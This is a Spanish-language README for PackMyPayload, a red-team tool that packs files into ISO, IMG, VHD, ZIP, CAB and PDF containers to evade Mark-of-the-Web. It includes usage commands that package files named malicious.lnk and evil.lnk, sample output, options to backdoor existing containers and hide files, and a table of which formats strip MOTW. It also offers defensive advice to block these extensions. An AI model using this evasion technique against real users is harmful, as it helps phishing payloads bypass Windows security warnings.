
Un PoC que empaqueta cargas útiles en contenedores de salida para evadir la bandera Mark-of-the-Web y demostrar los riesgos asociados a los formatos de archivo contenedor. Soporta: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
PackMyPayload - Amenaza emergente de malware contenerizadoEsta herramienta toma un archivo o directorio como entrada y los incrusta en un archivo de salida que actúa como un archivo/contenedor. Puede servir como Prueba de Concepto para presentar el riesgo emergente de los formatos de archivo contenedor con malware incrustado, así como una ayuda para Operadores de Red Team profesionales para afinar sus maniobras de Acceso Inicial.
Actualmente se sabe que los Actores de Amenazas introducen de contrabando su malware archivado en varios formatos de archivo contenedor, por nombrar algunos:
7zipzipISOIMGHacen eso para que sus cargas útiles pasen los escáneres de contenido de archivos, pero más importante aún para evitar tener la marca Mark-Of-The-Web en sus archivos. Hay varios motivos por los cuales los adversarios no quieren MOTW en sus archivos: Protected View en Microsoft Office siempre estuvo entre ellos.
Si proporcionan un archivo contenedor a sus víctimas, se podría eludir una base para deshabilitar las macros VBA en documentos de Office originados en Internet.
El 7 de febrero, Microsoft anunció un cambio de configuración predeterminada para bloquear las macros VBA originadas de Internet. Este es un paso increíble hacia el endurecimiento de la configuración base de la estación de trabajo del usuario y el software cliente instalado en ella. Sin duda, tardío, pero un paso importante que afecta drásticamente de manera positiva las configuraciones típicas de instalación de Windows+Office.
El comportamiento implementado se explica por la diferenciación de documentos de Office con macros habilitadas basada en la bandera MOTW (Mark of the Web). Esa bandera actúa como una etiqueta de contaminado disponible para los clientes de software (navegadores, clientes de correo, archivadores de archivos, etc.) para marcar archivos que se originan en áreas no confiables como Internet.
Outflank arrojó más luz sobre MOTW, en 2020, al indicar áreas donde la bandera MOTW no se propaga uniformemente. Estas áreas sirven como brecha de defensa y son comúnmente abusadas por actores de amenazas desde hace años.
Su investigación reveló que algunos formatos de archivo contenedor – específicamente ISO, VHD/VHDX – no propagan la bandera de contaminación MOTW a los archivos internos al montarse o extraerse automáticamente. Además, Windows 8+ puede abrir estos formatos automáticamente con doble clic, convirtiéndolos en notorios portadores de infecciones, posiblemente devaluando MOTW en su función de medida de seguridad.
Veamos cómo se ve la bandera Mark of the Web en la práctica:

Después de descargar un archivo, haga clic derecho sobre él y revise sus propiedades.
Verá un mensaje solicitando desbloquear el archivo, porque se origina de una zona no confiable:

Esa información se almacena en el ADS (Flujo de Datos Alternativo) de NTFS llamado Zone.Identifier que se ve así:

El ZoneId=3 cumple la función de marcar el archivo como contaminado.
Usando PackMyPayload.py coloque el archivo en un disco ISO Joliet fácilmente con un comando:
PS> py PackMyPayload.py 7z2107-x64.exe 7z2107-x64.iso

Habiendo creado el archivo ISO, imite un servidor HTTP usando Python:
PS> py -m http.server 80
y luego descargue el archivo ISO usando su navegador.

Cuando revise las Propiedades de ese archivo ISO, verá que está marcado con la bandera MOTW.

Sin embargo, ¡el archivo EXE instalador de 7zip interno no está marcado con MOTW!

Aprovechando la ocasión de que los ojos de la Industria están puestos en la valiente decisión de Microsoft de bloquear las macros VBA, nosotros, profesionales Investigadores de Seguridad que tomamos la máxima consideración en aumentar la resiliencia de las tecnologías del mundo contra su mal uso, queremos agregar la siguiente perspectiva sobre las TTPs actuales de los Actores de Amenazas:
Los Actores de Amenazas son muy conscientes del impacto que MOTW tiene en sus cargas útiles de phishing. Se han adaptado hace mucho tiempo y ahora están contrabandeando sus programas maliciosos dentro de contenedores. Entre los más comúnmente observados podemos destacar ISO, IMG, CAB.
Ahora publico esta herramienta para aumentar el impulso generado por la postura de Microsoft y ayudar a intensificar las discusiones sobre estas vías de evasión.
Se recomienda contener (y/o bloquear) los archivos que tengan las extensiones mencionadas anteriormente siempre que se originen de zonas no confiables y donde sea aplicable:
La herramienta publicada permitirá, con suerte, que más Equipos Rojos simulen los riesgos discutidos y les ayude a identificar más fácilmente las brechas de detección dentro de las defensas de sus Socios.
Este script ofrece los siguientes beneficios y ventajas:
Formatos compatibles:
--zip-noreadonly.cmd> pip3 install -r requirements.txt
PS> py PackMyPayload.py C:\my\dir malicious.iso -v
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: //malicious.lnk
Adding file: //malicious.docm
[INFO] [+] File packaged into ISO.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 69632): malicious.iso
DISKPART requiere acceso de Administrador a los objetos/espacio de nombres de dispositivos físicos. La mejor experiencia se obtiene ejecutando el script en Windows Terminal (wt) o ConEmu ya que admiten colores ANSI. De lo contrario, si la salida se ve mal, desactive esos colores con la bandera -N:PS> py PackMyPayload.py .\evil.lnk .\evil.vhd -v -N
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .vhd (vhd)...
[INFO] Drive letters currently occupied:
X
C
Z
D
[INFO] Will create VHD of size: 1024MB (Dynamic)
[INFO] Will assign VHD letter : V:
[INFO] Will format VHD with : FAT32
[INFO] Creating VHD file...
[+] Created & mounted VHD file on V:\
[.] Packing files into created VHD...
[INFO] Packaged file:
[INFO] evil.lnk => V:\
[.] Detaching VHD file...
[+] Detached VHD file from V:\
[INFO] [+] File packaged into VHD.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 6311936): evil.vhd
usage:
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
Usage: PackMyPayload.py [options] <infile> <outfile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input file/directory to be packaged into output archive/container
outfile Output file with extension pointing at output format
Options:
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-i BACKDOOR, --backdoor BACKDOOR
Instead of generating blank new output container/archive, will backdoor existing input one.
-n NAME, --filename NAME
Package input file into archive/container under this filename (may contain relative path).
-p PASSWORD, --password PASSWORD
If output archive/container format supports password protection, use this password to protect
output file.
--out-format {zip,7z,iso,img,cab,pdf,vhd,vhdx}
Explicitely define output format disregarding output file's extension. Can be one of
following: zip, 7z, iso, img, cab, pdf, vhd, vhdx
-H HIDE, --hide HIDE (Supported in ISO/IMG, ZIP) Set hidden attribute on file(s). Cannot be repeated, only comma-
separated. Example: --hide icon.ico,evil.exe . Supports wildcards: --hide icon?.*
ZIP specific options:
--zip-noreadonly DISABLE ZIP MOTW bypass that is used by default. By default, PackMyPayload marks Office files
as Read-Only making ZIP software unable to set MOTW flag on them when extracted. This option
disables that behavior.
VHD specific options:
--vhd-size SIZE VHD dynamic size in MB. Default: 1024
--vhd-letter LETTER Drive letter where to mount VHD drive. Default: will pick unused one at random.
--vhd-filesystem FS Filesystem to be used while formatting VHD. Default: FAT32. Supported: fat, fat32, ntfs
=====================================================
Supported container/archive formats:
- zip
- 7z
- iso
- img
- cab
- pdf
- vhd
- vhdx
=====================================================
Agregar soporte para archivos MSI
Incrustar archivos en documentos de MS Office 2007+: word -> embeddings -> oleObject1.bin (flujo OLE) + ajustar
Considerar agregar soporte para otros formatos de archivo exóticos (que realmente no lidian con MOTW o no son compatibles de forma nativa con Windows):
tarcpiopaxxararmtreeshartarcpgzuuLe pido amablemente que lea la siguiente línea en voz alta y lo más rápido que pueda frente a un espejo:
py Pack My Payload dot py
Algunos dicen que el hechizo invoca al antiguo DAEMON y a las Ovejas ( ͡~ ͜ʖ ͡°)
Un aplauso y gracias a los siguientes contribuidores que ayudaron a mejorar esta herramienta:
--hide para ocultar archivos en contenedores ISO/IMG--hideEste y otros proyectos son el resultado de noches en vela y mucho trabajo duro. Si te gusta lo que hago y aprecias que siempre devuelvo algo a la comunidad, Considera invitarme un café (o mejor una cerveza) solo para dar las gracias! 💪
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
| Formato | ¿Elimina MOTW? | ¿Soporte nativo de Windows? | ¿Requiere elevación? | Observaciones |
|---|
Zip | No/Yes* | Sí | No | (MOTW eliminado con CVE-2022-41091) |
7zip | Parcialmente | No | No | MOTW eliminado solo en extracción manual de archivos |
ISO | Sí | Sí | No | |
IMG | Sí | Sí | No | |
PDF | ? | Sí | No | Depende del soporte de Javascript en el lector PDF |
CAB | No | Sí | No | Requiere algunos clics adicionales del lado de la víctima |
VHD | Sí | Sí | Sí | Este script actualmente no puede crear directorios |
VHDX | Sí | Sí | Sí | Este script actualmente no puede crear directorios |
lhaWinZip Pro también admite la extracción de los siguientes formatos - quizás valga la pena agregarlos también:
B64, BHX, BZ, BZ2, GZ, HQX, LHA, LZH, MIM, TAZ, TBZ,TBZ2, TGZ, TXZ, TZ, UU, UUE, VMDK, XXE, XZ, Z, ZIPX,